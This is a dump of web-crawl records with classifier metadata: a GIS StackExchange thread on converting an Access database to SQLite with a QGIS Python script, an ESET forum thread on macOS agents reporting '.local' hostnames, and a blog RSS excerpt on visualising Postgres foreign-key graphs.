"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-1,901,056,728,303,585,000 | 4
I am still a novice in python, but I have the long term goal to create a plugin one day. The first step to this plugin is a test with QGIS python scripts to convert an Access mdb into sqlite db and then to proceed from there.
I found a python script here that will dump an Access mdb into a sqlite db.
The script is normally called from commandline with this patter: python AccessDump.py access.mdb | sqlite3 new.db
I now try to change the script, so i can run it as a QGIS script from the Processing Toolbox, but I really lack the basics so far.
Original script:
#!/usr/bin/env python
#
# AccessDump.py
# A simple script to dump the contents of a Microsoft Access Database.
# It depends upon the mdbtools suite:
# http://sourceforge.net/projects/mdbtools/
import sys, subprocess, os
DATABASE = sys.argv[1]
# Dump the schema for the DB
subprocess.call(["mdb-schema", DATABASE, "mysql"])
# Get the list of table names with "mdb-tables"
table_names = subprocess.Popen(["mdb-tables", "-1", DATABASE],
stdout=subprocess.PIPE).communicate()[0]
tables = table_names.splitlines()
print "BEGIN;" # start a transaction, speeds things up when importing
sys.stdout.flush()
# Dump each table as a CSV file using "mdb-export",
# converting " " in table names to "_" for the CSV filenames.
for table in tables:
if table != '':
subprocess.call(["mdb-export", "-I", "mysql", DATABASE, table])
print "COMMIT;" # end the transaction
sys.stdout.flush()
I already understood the basic mechanism to first read out the table schema of the .mdb for each table, and then export tables content into the newly created db. However, I have no clue how to change the script so that I do not need that | sqlite3 new.db - part from the original shell command, but integrate it into the script, respectivly change new.db to be the output variable from the script dialog.
##Database=group
##Access.mdb to SqLite=name
##inputmdb= input file
##outputsqlite = output file
3
• well, the script heavily depends on the pipe-operator. so i guess instead of sending everything just to stdout via subprocess.call() you need to pipe them back into a variable (take the table names as example) and execute the sql-commands via executescript() from within python.
– ymirsson
Commented Nov 18, 2015 at 13:55
• @ymirsson Thanks for your comment. As I already stated, I'm a complete beginner with all this. Is there a way to replace those subprocess.call stuff by sth else? The script doesn't have to look like it does now, but just do what it is intended for, but preferably more conveniently through a QGIS Processing script. Sorry, I'm still really blond :)
– Bernd V.
Commented Nov 18, 2015 at 14:22
• nope. you want to run a shell command and fetch its stdout. no way around the subprocess module in python ;)
– ymirsson
Commented Nov 18, 2015 at 15:12
1 Answer 1
3
This should work:
##Database=group
##Access.mdb to SqLite=name
##inputmdb= input file
##outputsqlite = output file
import sys, subprocess, os, sqlite3 as sql
mdb_name = inputmdb
sql_name = outputsqlite
try:
print "\nopening db"
conn = sql.connect(sql_name)
curs = conn.cursor()
print "\ncreating schema"
cmds = subprocess.Popen(["mdb-schema", mdb_name, "mysql"], stdout=subprocess.PIPE).communicate()[0]
curs.executescript(cmds)
conn.commit()
print "\nfetching table names"
table_names = subprocess.Popen(["mdb-tables", "-1", mdb_name], stdout=subprocess.PIPE).communicate()[0]
tables = table_names.splitlines()
print "\npopulate tables"
for table in tables:
if table != '':
cmds = subprocess.Popen(["mdb-export", "-I", "mysql", mdb_name, table], stdout=subprocess.PIPE).communicate()[0]
curs.executescript("BEGIN;" + cmds + "COMMIT;")
conn.commit()
print "\nhoooray"
except Exception, e:
print "oh noes:"
print e
finally:
print "\nclosing DB"
conn.close()
1
• Thanx for your help! I still had to adopt the script. Instead of sys.argv[1] and [2], I want to use my inputmdb and outputsqlite variables to be able to have it run through the Processing Toolbox. I dare to change your answer to reflect that.
– Bernd V.
Commented Nov 19, 2015 at 18:40
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://gis.stackexchange.com/questions/170682/converting-python-script-for-qgis/170752",
"source_domain": "gis.stackexchange.com",
"snapshot_id": "CC-MAIN-2024-38",
"warc_metadata": {
"Content-Length": "166414",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3ORSSGAYOB64NT3JK74NTNAUUEJB7FTR",
"WARC-Concurrent-To": "<urn:uuid:3a3c7801-2bec-4625-98c6-9515d1fdc440>",
"WARC-Date": "2024-09-13T01:59:01Z",
"WARC-IP-Address": "172.64.144.30",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QBUSU36I52FDD2RPQQ2U56OFG5YCDDFO",
"WARC-Record-ID": "<urn:uuid:e26428f3-40da-4793-bf73-d3a7cb0b1583>",
"WARC-Target-URI": "https://gis.stackexchange.com/questions/170682/converting-python-script-for-qgis/170752",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a376fdbe-8e19-4347-96b7-8575a1176cc1>"
},
"warc_info": "isPartOf: CC-MAIN-2024-38\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-248\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
229,
230,
306,
307,
421,
422,
553,
554,
571,
572,
594,
596,
612,
683,
721,
767,
768,
795,
796,
819,
820,
849,
900,
901,
949,
1012,
1084,
1118,
1119,
1189,
1208,
1209,
1261,
1323,
1344,
1364,
1436,
1437,
1475,
1494,
1495,
1900,
1901,
1918,
1946,
1969,
1998,
2000,
2283,
2298,
2334,
2687,
2702,
2738,
2851,
2866,
2902,
2903,
2914,
2915,
2917,
2918,
2936,
2937,
2954,
2982,
3005,
3034,
3035,
3078,
3079,
3099,
3123,
3124,
3129,
3154,
3187,
3212,
3213,
3243,
3347,
3376,
3394,
3395,
3430,
3538,
3576,
3577,
3607,
3632,
3656,
3781,
3841,
3859,
3881,
3882,
3903,
3924,
3936,
3949,
3974,
3991,
3993,
4240,
4255,
4291,
4292,
4304,
4305,
4421,
4422
],
"line_end_idx": [
2,
3,
229,
230,
306,
307,
421,
422,
553,
554,
571,
572,
594,
596,
612,
683,
721,
767,
768,
795,
796,
819,
820,
849,
900,
901,
949,
1012,
1084,
1118,
1119,
1189,
1208,
1209,
1261,
1323,
1344,
1364,
1436,
1437,
1475,
1494,
1495,
1900,
1901,
1918,
1946,
1969,
1998,
2000,
2283,
2298,
2334,
2687,
2702,
2738,
2851,
2866,
2902,
2903,
2914,
2915,
2917,
2918,
2936,
2937,
2954,
2982,
3005,
3034,
3035,
3078,
3079,
3099,
3123,
3124,
3129,
3154,
3187,
3212,
3213,
3243,
3347,
3376,
3394,
3395,
3430,
3538,
3576,
3577,
3607,
3632,
3656,
3781,
3841,
3859,
3881,
3882,
3903,
3924,
3936,
3949,
3974,
3991,
3993,
4240,
4255,
4291,
4292,
4304,
4305,
4421,
4422,
4512
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4512,
"ccnet_original_nlines": 113,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.25884732604026794,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03842265158891678,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3185035288333893,
"rps_doc_frac_unique_words": 0.449760764837265,
"rps_doc_mean_word_length": 5.18022346496582,
"rps_doc_num_sentences": 69,
"rps_doc_symbol_to_word_ratio": 0.028311429545283318,
"rps_doc_unigram_entropy": 5.204176902770996,
"rps_doc_word_count": 627,
"rps_doc_frac_chars_dupe_10grams": 0.04495073854923248,
"rps_doc_frac_chars_dupe_5grams": 0.10652709007263184,
"rps_doc_frac_chars_dupe_6grams": 0.08066502213478088,
"rps_doc_frac_chars_dupe_7grams": 0.06650245934724808,
"rps_doc_frac_chars_dupe_8grams": 0.06650245934724808,
"rps_doc_frac_chars_dupe_9grams": 0.04495073854923248,
"rps_doc_frac_chars_top_2gram": 0.022167490795254707,
"rps_doc_frac_chars_top_3gram": 0.012931030243635178,
"rps_doc_frac_chars_top_4gram": 0.016625620424747467,
"rps_doc_books_importance": -440.19573974609375,
"rps_doc_books_importance_length_correction": -440.19573974609375,
"rps_doc_openwebtext_importance": -180.78602600097656,
"rps_doc_openwebtext_importance_length_correction": -180.78602600097656,
"rps_doc_wikipedia_importance": -182.5906524658203,
"rps_doc_wikipedia_importance_length_correction": -182.5906524658203
},
"fasttext": {
"dclm": 0.10040848702192307,
"english": 0.7751436233520508,
"fineweb_edu_approx": 1.8710352182388306,
"eai_general_math": 0.26456689834594727,
"eai_open_web_math": 0.10140479356050491,
"eai_web_code": 0.024851560592651367
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.776",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
2,497,793,075,055,451,000 | Jump to content
OS X clients report as name.local
j-gray
Share
Recommended Posts
Running the latest ERA Server and OS X agent. Active Directory environment, OS X devices are domain joined and DNS suffix is appended via DHCP option.
Many of the OS X devices show up as 'computername.local' instead of their fully qualified domain name (like Windows clients do).
Typing 'hostname' in terminal reports the workstation name with FQDN, so I'm not sure where the issue is.
This causes the system to appear twice in the ERA console; once as the .local and once as the FQDN (from AD sync). The AD sync'd version always shows offline and the .local as online.
I have the auto-renaming to FQDN task set to run hourly, but this does not resolve the issues.
Any ideas how to get the clients to show up with proper hostname including FQDN?
Link to comment
Share on other sites
• ESET Staff
Could you please check what is Mac client reporting in it's client details view - in section "Device identifiers"? The same data is actually used for automatic renaming using task you mentioned. Also in case you will be successful with renaming (even manual), consequent run of "AD/LDAP synchronization" task is required to remove offline duplicates - and task has to be configured for this.
Link to comment
Share on other sites
For reference, we've seen similar results in our environment. Most Mac clients would show up in ERA with a ".local", while a few would show up with the FQDN. We also had the added issue that some of our Macs were missing local configuration options, and while they would allow for Active Directory logins, their hostname (via command line) would not always match what was configured via the GUI, nor would they always show the FQDN.
The quickest workaround that I found to eliminate duplicate computer accounts in ERA for our Mac clients was to alter the task on the ERA server that renamed synchronized computers. Instead of having it rename by FQDN, I switched it to just rename by Computer Name. Under this configuration, we no longer have duplicate accounts for our Mac clients. All of our Windows clients still show up in ERA by their FQDN, and the majority of our Mac clients now do too. Only 27 of our Mac clients (approximately 16% of our reporting Mac population) show up with just a short name. It may not be a 100% perfect solution, but it has eliminated our duplicate computer issues and given us a more accurate machine count.
Link to comment
Share on other sites
Could you please check what is Mac client reporting in it's client details view - in section "Device identifiers"?
In the Device Identifiers section, it reports the 'Computer name' correctly (name only). However, it reports the FQDN as computername.local
As zhopkins reported, it appears to be random whether they report their proper FQDN or just .local.
Also, I have a task to delete not connecting computers. I have another task to sync AD. So the first task removes the clients with FQDN because it thinks they're not connecting (when actually connecting as computer.local). Then the AD sync task brings those objects back into ERA because they exist in AD.
This would seem to be a bug or shortcoming with the product, no? Or is it working as designed?
Link to comment
Share on other sites
• ESET Staff
It seems system is reporting FQDN with "local" in case computer is not in domain and local is considered as default. AGENT should not report such FQDN which would result automatically in use of computer name during renaming or initial creation of computer record in console. Key question is whether this computer is actually in domain? What do you expect in FQDN - the same as computer name or there is also missing domain name? Regardless of that I will try to check what method is used to fetch FQDN from system (most probably it is equivalent of hostname -f command line call). Both computer name and FQDN are resolved during AGENT startup and there is a chance that at that moment system is not joined into domain yet - could you please try to restart AGENT's service (without system reboot) and check whether client starts reporting correct FQDN? Service can be restarted from console using:
sudo launchctl stop com.eset.remoteadministrator.agent
As already mentioned, renaming task can be configured to use computer name instead of FQDN which may works as workaround for problematic computers. Unfortunately for initial computer name there is no workaround - either FQDN sent from AGENT or reverse DNS lookup will be used.
Link to comment
Share on other sites
Key question is whether this computer is actually in domain? What do you expect in FQDN
All workstations (Mac and Windows) are domain joined.
Domain suffix (search domains) and DNS servers are configured via DHCP server.
So workstation name is: ws-osx-01
Domain suffix is: contoso.com
FQDN should be reported as: ws-osx-01.contoso.com
All of these systems resolve in DNS (forward and reverse) with the proper FQDN. They've also rebooted multiple times, so the agent has been reset multiple times.
Link to comment
Share on other sites
• ESET Staff
They've also rebooted multiple times, so the agent has been reset multiple times.
Actually rebooting will most probably won't help in case problem is with startup order. Not sure what "software" you are using to join domain on Mac OS X, but in case it starts later than AGENT, FQDN may be fetched before computer is actually joined into domain ... but that is only hypothesis.
Also it seems AGENT uses system calls that should be equivalent of output from scutil command line tool available from terminal. Could you please check output of these command on problematic client is possible?
scutil --get HostName
scutil --get LocalHostName
scutil --get ComputerName
so that we can check whether system is providing correct values to AGENT.
Link to comment
Share on other sites
They've also rebooted multiple times, so the agent has been reset multiple times.
Actually rebooting will most probably won't help in case problem is with startup order. Not sure what "software" you are using to join domain on Mac OS X, but in case it starts later than AGENT, FQDN may be fetched before computer is actually joined into domain ... but that is only hypothesis.
Also it seems AGENT uses system calls that should be equivalent of output from scutil command line tool available from terminal. Could you please check output of these command on problematic client is possible?
scutil --get HostName
scutil --get LocalHostName
scutil --get ComputerName
so that we can check whether system is providing correct values to AGENT.
We add them to the domain with the Directory Utility, which is native/built in to OS X workstations. This should not affect the computer name at all.
I ran the commands on systems reporting in with correct FQDN and systems reporting in as computername.local and got the same results for all:
HostName: not set
actualcomputername
actualcomputername
In all cases, the systems are reporting the correct computer name, just not appending the correct domain suffix consistently.
Link to comment
Share on other sites
• ESET Staff
Just to update you on the progress, we have created a bug report based on your reports. Just out of curiosity, have you contacted ESET support regarding this matter, so we can theoretically link it to any open support case? Thank you.
Edited by MichalJ
Link to comment
Share on other sites
• 2 weeks later...
Just to update you on the progress, we have created a bug report based on your reports. Just out of curiosity, have you contacted ESET support regarding this matter, so we can theoretically link it to any open support case? Thank you.
Thanks for the update.
I created a case a week ago (#1480064). They suggested the issue was caused by DNS reverse lookup (it is not). Otherwise, they suggested creating a Server Task to rename the clients to solve the issue. However, we already have this task running and it does not resolve the issue.
Link to comment
Share on other sites
• 3 weeks later...
Just to update you on the progress, we have created a bug report based on your reports.
Could you please provide some more information on this?
I've been working with support, and so far they haven't indicated that this is a bug or a known issue. They're simply asking me to rename the hosts via command, which I don't feel is a solution.
Link to comment
Share on other sites
I'm finding that the workstations go back and forth between 'name + .local' and 'name + fqdn'. I have no idea why it keeps changing.
Still going back and forth with support, but there's been no indication that this is a known bug.
Link to comment
Share on other sites
Guest
This topic is now closed to further replies.
Share
• Recently Browsing 0 members
• No registered users viewing this page.
×
×
• Create New... | {
"url": "https://forum.eset.com/topic/9644-os-x-clients-report-as-namelocal/",
"source_domain": "forum.eset.com",
"snapshot_id": "crawl=CC-MAIN-2022-49",
"warc_metadata": {
"Content-Length": "215671",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7KTYN6FSMBYKLXHDFPYINY5ATJK767F3",
"WARC-Concurrent-To": "<urn:uuid:7774bc75-0426-41e8-8159-e2d2278adbcf>",
"WARC-Date": "2022-12-09T03:12:12Z",
"WARC-IP-Address": "18.165.98.41",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:2MBK7GYBKL2CGSYFNRAJ2CJPMCPPKSQT",
"WARC-Record-ID": "<urn:uuid:5565911c-0fb3-4872-8195-dd3069e8439c>",
"WARC-Target-URI": "https://forum.eset.com/topic/9644-os-x-clients-report-as-namelocal/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b15bb80a-72ee-432c-8d60-fa976b44dba3>"
},
"warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-70\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
51,
52,
53,
60,
67,
68,
86,
87,
238,
239,
241,
242,
371,
372,
374,
375,
481,
482,
484,
485,
669,
670,
672,
673,
769,
770,
772,
773,
854,
855,
857,
858,
860,
861,
877,
898,
899,
914,
915,
1307,
1308,
1324,
1345,
1346,
1781,
1782,
1784,
1785,
2497,
2498,
2514,
2535,
2536,
2651,
2652,
2792,
2793,
2795,
2796,
2896,
2897,
2899,
2900,
3206,
3207,
3209,
3210,
3305,
3306,
3322,
3343,
3344,
3359,
3360,
4257,
4258,
4313,
4314,
4591,
4592,
4608,
4629,
4630,
4718,
4719,
4773,
4774,
4776,
4777,
4856,
4857,
4892,
4893,
4924,
4925,
4976,
4977,
4979,
4980,
5143,
5144,
5160,
5181,
5182,
5197,
5198,
5280,
5281,
5283,
5284,
5579,
5580,
5582,
5583,
5794,
5795,
5817,
5844,
5870,
5871,
5945,
5946,
5962,
5983,
5984,
5986,
5987,
6069,
6070,
6072,
6073,
6368,
6369,
6371,
6372,
6583,
6584,
6606,
6633,
6659,
6660,
6734,
6735,
6737,
6738,
6740,
6741,
6891,
6892,
6894,
6895,
7037,
7038,
7056,
7057,
7076,
7077,
7096,
7097,
7099,
7100,
7226,
7227,
7243,
7264,
7265,
7280,
7281,
7516,
7517,
7535,
7551,
7572,
7573,
7594,
7595,
7830,
7831,
7854,
7855,
7857,
7858,
8138,
8139,
8155,
8176,
8177,
8198,
8199,
8287,
8288,
8344,
8345,
8347,
8348,
8543,
8544,
8560,
8581,
8582,
8716,
8717,
8719,
8720,
8818,
8819,
8835,
8856,
8857,
8863,
8908,
8915,
8916,
8950,
8951,
8996,
8998,
9000
],
"line_end_idx": [
16,
17,
51,
52,
53,
60,
67,
68,
86,
87,
238,
239,
241,
242,
371,
372,
374,
375,
481,
482,
484,
485,
669,
670,
672,
673,
769,
770,
772,
773,
854,
855,
857,
858,
860,
861,
877,
898,
899,
914,
915,
1307,
1308,
1324,
1345,
1346,
1781,
1782,
1784,
1785,
2497,
2498,
2514,
2535,
2536,
2651,
2652,
2792,
2793,
2795,
2796,
2896,
2897,
2899,
2900,
3206,
3207,
3209,
3210,
3305,
3306,
3322,
3343,
3344,
3359,
3360,
4257,
4258,
4313,
4314,
4591,
4592,
4608,
4629,
4630,
4718,
4719,
4773,
4774,
4776,
4777,
4856,
4857,
4892,
4893,
4924,
4925,
4976,
4977,
4979,
4980,
5143,
5144,
5160,
5181,
5182,
5197,
5198,
5280,
5281,
5283,
5284,
5579,
5580,
5582,
5583,
5794,
5795,
5817,
5844,
5870,
5871,
5945,
5946,
5962,
5983,
5984,
5986,
5987,
6069,
6070,
6072,
6073,
6368,
6369,
6371,
6372,
6583,
6584,
6606,
6633,
6659,
6660,
6734,
6735,
6737,
6738,
6740,
6741,
6891,
6892,
6894,
6895,
7037,
7038,
7056,
7057,
7076,
7077,
7096,
7097,
7099,
7100,
7226,
7227,
7243,
7264,
7265,
7280,
7281,
7516,
7517,
7535,
7551,
7572,
7573,
7594,
7595,
7830,
7831,
7854,
7855,
7857,
7858,
8138,
8139,
8155,
8176,
8177,
8198,
8199,
8287,
8288,
8344,
8345,
8347,
8348,
8543,
8544,
8560,
8581,
8582,
8716,
8717,
8719,
8720,
8818,
8819,
8835,
8856,
8857,
8863,
8908,
8915,
8916,
8950,
8951,
8996,
8998,
9000,
9017
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 9017,
"ccnet_original_nlines": 220,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4225352108478546,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0507042296230793,
"rps_doc_frac_lines_end_with_ellipsis": 0.013574659824371338,
"rps_doc_frac_no_alph_words": 0.13971830904483795,
"rps_doc_frac_unique_words": 0.2754966914653778,
"rps_doc_mean_word_length": 4.671523094177246,
"rps_doc_num_sentences": 98,
"rps_doc_symbol_to_word_ratio": 0.003380279988050461,
"rps_doc_unigram_entropy": 5.410952091217041,
"rps_doc_word_count": 1510,
"rps_doc_frac_chars_dupe_10grams": 0.3117380142211914,
"rps_doc_frac_chars_dupe_5grams": 0.3460448086261749,
"rps_doc_frac_chars_dupe_6grams": 0.3460448086261749,
"rps_doc_frac_chars_dupe_7grams": 0.3460448086261749,
"rps_doc_frac_chars_dupe_8grams": 0.3205273747444153,
"rps_doc_frac_chars_dupe_9grams": 0.3117380142211914,
"rps_doc_frac_chars_top_2gram": 0.010206970386207104,
"rps_doc_frac_chars_top_3gram": 0.022115109488368034,
"rps_doc_frac_chars_top_4gram": 0.030620919540524483,
"rps_doc_books_importance": -762.453125,
"rps_doc_books_importance_length_correction": -762.453125,
"rps_doc_openwebtext_importance": -459.7958679199219,
"rps_doc_openwebtext_importance_length_correction": -459.7958679199219,
"rps_doc_wikipedia_importance": -361.9913635253906,
"rps_doc_wikipedia_importance_length_correction": -361.9913635253906
},
"fasttext": {
"dclm": 0.026411650702357292,
"english": 0.9427697658538818,
"fineweb_edu_approx": 1.2661221027374268,
"eai_general_math": 0.32593369483947754,
"eai_open_web_math": 0.15083086490631104,
"eai_web_code": 0.02204608917236328
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.467",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
4,483,103,159,895,191,600 | <![CDATA[Dian M Fay]]> https://di.nmfay.com/ RSS for Node Sun, 23 May 2021 04:09:17 GMT <![CDATA[Exploring Databases Visually]]> In "things you can do with a terminal emulator that renders images":
One way to look at a database's structure is as a graph of foreign key relationships among tables. Two styles of visual representation predominate: models or entity-relationship diagrams (ERDs) created as part of requirements negotiation and design, and descriptive diagrams of an extant database. The former are drawn by hand on a whiteboard or in diagramming software; the latter are often generated by database management tools with some manual cleanup and organization. Both styles usually take the complete database as their object, and whether descriptive or prescriptive, their role in the software development process is as reference material, or documentation.
Documentation isn't disposable. Even though these diagrams are out of date practically as soon as they're saved off, they take effort to make, or at least to make legible -- automated tools are only so good at layout, especially as table and relationship counts grow. That effort isn't lightly discarded, and anyway a diagram that's still mostly accurate remains a useful reference.
Documentation isn't disposable. But documentation isn't the only tool we have for orienting ourselves in a system: we can also explore, view the system in parts and from different angles, follow individual paths through the model from concept to concept. Exploration depends on adopting a partial, mobile perspective from the inside of the model, with rapid feedback and enough context to navigate but not so much as to be overwhelmed. The view from a single point is more or less important depending on the point itself, but in order to facilitate exploration that view has to be generated and discarded on demand. Look, move, look, move.
This is a partial perspective of the pagila sample database, from the table film:
the "film" table in a graph showing its dependence via foreign key on the "language" table, and other tables' dependencies on "film". A film has corresponding records in "film_actor" and "film_category" (junction tables, to "actor" and "category" tables not shown in this partial perspective); copies of a film are in "inventory"; inventory items in turn are referenced in "rental"; and rentals turn up in a set of "payment" tables partitioned by month.
It's generated by this fks zsh function which queries Postgres' catalog of foreign keys using a recursive common table expression to identify and visualize everything connected in a straight line to the target. The query output is passed to the Graphviz suite's dot with a template, rendered to png, and the png displayed with wezterm imgcat. No files are created or harmed at any point in the process.
Why only a straight line, though? The graph above has obvious gaps: film_actor implies an actor, and film_category its own table on the other side of the junction. inventory probably wants a store, and rental and the payment tables aren't much use without a customer. The view from rental is markedly different, with half a dozen tables that weren't visible at all from film:
a perspective on the pagila sample database from the "rental" table. The same "payment" tables depend on it, but upstream "inventory" is joined by "customer" and "staff", and further up "store", "address" (relating to customers, staff, and stores), "city", and "country" tables. "Film" and "language" are also present upstream from "inventory".
This graph is familiar in part: there's rental itself, the payment tables, inventory, film -- the last shorn of the junctions to the still-missing actor and category tables. Those have passed around a metaphorical corner, since in order to get from rental to film_actor you must travel first up foreign keys into film (via rental.inventory_id and inventory.film_id), then down by way of film_actor.film_id. language, meanwhile, is "upwards" of film and therefore remains visible from rental.
The reason fks restricts its search to straight lines from the target table is to keep context narrow. You can get a fuller picture of the table structure by navigating and viewing the graph from multiple perspectives; what fks shows is the set of tables which can affect the target, or which will be affected by changes in the target. If you delete a store or a film, rentals from that store or of that film are invalidated (and, unless the intermediary foreign keys are set to cascade, the delete fails). But deleting a film_actor has nothing to do with rental, and vice versa.
There's an actual, serious problem with unrestricted traversal, too. If you recurse through all relationships, you wind up mapping entire subgraphs, or clusters of related tables. And clusters grow quickly. Stuart Kauffman has a great illustration of the principle in his book At Home in the Universe: The Search for the Laws of Self-Organization and Complexity.
Imagine 10,000 buttons scattered on a hardwood floor. Randomly choose two buttons and connect them with a thread. Now put this pair down and randomly choose two more buttons, pick them up, and connect them with a thread. As you continue to do this, at first you will almost certainly pick up buttons that you have not picked up before. After a while, however, you are more likely to pick at random a pair of buttons and find that you have already chosen one of the pair. So when you tie a thread between the two newly chosen buttons, you will find three buttons tied together. In short, as you continue to choose random pairs of buttons to connect with a thread, after a while the buttons start becoming interconnected into larger clusters.
When the ratio of threads to buttons, or relationships to tables, passes 0.5, there's a phase transition. Enough clusters exist that the next thread or relationship will likely connect one cluster to another, and the next, and the next. A supercluster emerges, nearly the size of the entire relationship graph. We can see what the relationship:table ratio looks like in a database by querying the system catalogs:
WITH tbls AS (
SELECT count(*) AS num FROM information_schema.tables
WHERE table_schema NOT IN ('pg_catalog', 'information_schema')
), fks AS (
SELECT count(*) AS num FROM pg_constraint WHERE contype = 'f'
)
SELECT fks.num AS f, tbls.num AS t, fks.num::decimal / tbls.num AS r
FROM tbls CROSS JOIN fks;
